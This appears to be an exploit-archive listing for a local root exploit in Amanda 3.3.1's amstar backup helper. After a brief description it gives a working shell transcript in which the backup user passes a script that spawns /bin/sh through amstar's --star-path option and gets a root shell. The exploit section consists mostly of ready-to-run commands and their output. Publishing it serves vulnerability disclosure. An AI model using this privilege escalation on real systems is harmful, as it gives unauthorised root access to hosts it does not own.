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Amanda 3.3.1 amstar Command Injection

Amanda 3.3.1 amstar Command Injection
Posted Jan 16, 2016
Authored by Hacker Fantastic

Amanda versions 3.3.1 and below amstar command injection local root exploit #2.

tags | exploit, local, root
SHA-256 | 284d84c47aaefe6f00825e9e93cb31647859b1a25d24d166cb7d556306f2a2b5

Amanda 3.3.1 amstar Command Injection

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AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup 
solution that allows the IT administrator to set up a single master backup
server to back up multiple hosts over network to tape drives/changers or
disks or optical media. Amanda uses native utilities and formats (e.g. dump
and/or GNU tar) and can back up a large number of servers and workstations
running multiple versions of Linux or Unix.

A user with backup privs can trivially compromise a client installation.
Amstar is an Amanda Application API script. It should not be run by users
directly. It uses star to backup and restore data. It runs binaries with
root permissions when parsing the command line arguement --star-path.

Tested against Amanda 3.3.1. An example is shown below:

$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
$ cat /tmp/runme.sh
#!/bin/sh
/bin/sh
$ ls -al /usr/lib/amanda/application/amstar
-rwsr-xr-- 1 root backup 31284 Jul 29 2012 /usr/lib/amanda/application/amstar
$ /usr/lib/amanda/application/amstar restore --star-path=/tmp/runme.sh
# id
uid=0(root) gid=34(backup) groups=0(root),6(disk),26(tape),34(backup)
# uname -a
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
#

-- Hacker Fantastic

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